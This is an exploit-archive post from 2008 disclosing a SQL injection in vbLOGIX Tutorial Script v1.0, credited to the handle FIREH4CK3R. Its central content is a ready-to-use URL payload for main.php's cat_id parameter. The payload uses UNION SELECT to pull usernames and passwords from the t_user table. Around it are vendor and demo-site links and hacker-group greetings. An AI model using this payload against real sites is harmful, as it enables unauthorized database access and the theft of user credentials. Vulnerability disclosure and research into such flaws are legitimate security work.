[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : vbLOGIX Tutorial Script <= 1.0 (cat_id) SQL Injection Vulnerability
# Published : 2008-09-12
# Author : FIREH4CK3R
# Previous Title : SkaLinks 1.5 (register.php) Remote Arbitrary Add Editor Vulnerability
# Next Title : pNews 2.03 (newsid) Remote SQL Injection Vulnerability
#=====================================================================================================
#vbLOGIX Tutorial Script <= v1.0 (cat_id) Remote SQL Injection Exploit
#=====================================================================================================
#
#
#Venedor site : http://www.vblogix.com/
#
#Demo site: http://www.vb-demo.com/
#
#Version : v1.0
#
#=====================================================================================================
#
#DORK : no have
#
#
#Exploit :
#--------------------------------
# main.php?act=list&cat_id=-1+UNION+ALL+SELECT+concat(usrname,0x3a,psswd)+FROM+t_user/*
#
#=====================================================================================================
#Discoverd By : FIREH4CK3R
#
#Contact : firehacker_msn[at]hotmail.com
#
#Greetz To : FIREH4CK3R, Sh0rtKiller, Park, Dark, SecurityBR
#
#
#=====================================================================================================
# www.Syue.com [2008-09-12]